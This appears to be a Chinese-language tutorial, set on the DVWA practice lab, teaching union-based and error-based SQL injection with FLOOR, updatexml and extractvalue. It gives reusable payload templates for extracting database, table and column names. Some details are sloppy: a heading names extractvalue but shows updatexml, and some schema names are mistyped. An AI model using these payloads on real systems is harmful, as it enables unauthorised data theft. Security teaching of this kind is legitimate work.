共计 2015 个字符,预计需要花费 6 分钟才能阅读完成。

SQL绕过进阶将会单独开一个专题
本次我们将会以DVWA靶场的数据库为例讲解
1.联合注入

这是一段正常的查询语句,其中user_id是用户可控的地方
我们可以结合union select 语句同时查询多个结果

我们可以先通过输入数字判断我们目前所在表有多少列,然后结合information schema查询其他表的数据
关于information schema的结构

information schema中含有许多记录着数据库结构的表
其中tables记录表名,schemata记录库名,columns记录着列名
只要你知道了一个数据库的库名,表名,列名你就可以查询对应的数据
如我们可以通过库名.表名的方式访问一个表,如:
select * from users where user_id=-1 union select 1,user,2,3,4,5,6,7 from dvwa.users

这里输入user_id=-1就是为了让前面的查询查不到任何东西,一般情况下前端只会返回第一行的数据,所以我们要搭配group_concat()函数使用

这样可以一次性输出全部数据
接下来我们结合information_schema库实现查询任意数据
查询表名

实际测试有一个问题当我们进行查询的时候数据库会报错

这里是由于union连接的字段的字符规则不一样,这里我们暂时不去深入理解。如果实战中遇到这种情况我们可以将其进行编码,即在table_name外层套一个hex()

然后将其解码即可
我们这里列出union查询的基本语句
select * from users where user_id=-1 union select 1,group_concat(aaa),2,3,4,5,6,7 from information_schema.bbb where TABLE_SCHEMA='ccc'
aaa代表着列名,bbb代表着表名,ccc代表你要查询的数据库,如果你要查询的数据库就是当前的数据库也可以输入database(),使用具体库名的时候不要忘记带上你的单引号qwq
对应搭配
table_name——information_schema.tables
column_name——information.schema.column
schema_name——information.schema.schemata
2.报错注入
报错注入的基本原理就是在某些函数中插入查询语句,函数报错的同时会执行查询语句并返回结果
接下来我们挨个讲解这些函数
1.FLOOR()
这个函数的运用比较复杂而且限制较多,一般情况下并不推荐使用此函数进行报错注入
使用示例:
SELECT * FROM users
WHERE user_id=1
UNION
SELECT 1, COUNT(*), CONCAT(
(SELECT DATABASE()),
FLOOR(RAND(0)*2)
) AS x
FROM information_schema.tables
GROUP BY x;

select * from users where user_id=1 union SELECT COUNT(*), CONCAT(
(SELECT DATABASE()),
FLOOR(RAND(0)*2)
) AS x,3,4,5,6,8
FROM information_schema.tables
GROUP BY x;

其中第二种方法还需要用到union语句,确实麻烦。有想法的读者可以自行下来了解
2.extractvalue()
相比之下这个语句就显得更加友好
id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

通用格式是1 and (updatexml(1,concat(0x7e,(查询语句),0x7e),1));
关于:
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
函数利用和语法明白了,下面注入的payload就清楚明白
3.extractvalue()
extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。
如:

通用语句是:id=1 and extractvalue(1,concat(0x7e,(select user(),0x7e)))
还有一个exp()函数,这个函数和MySQL版本有些联系且用到的时候不多,故不再讲解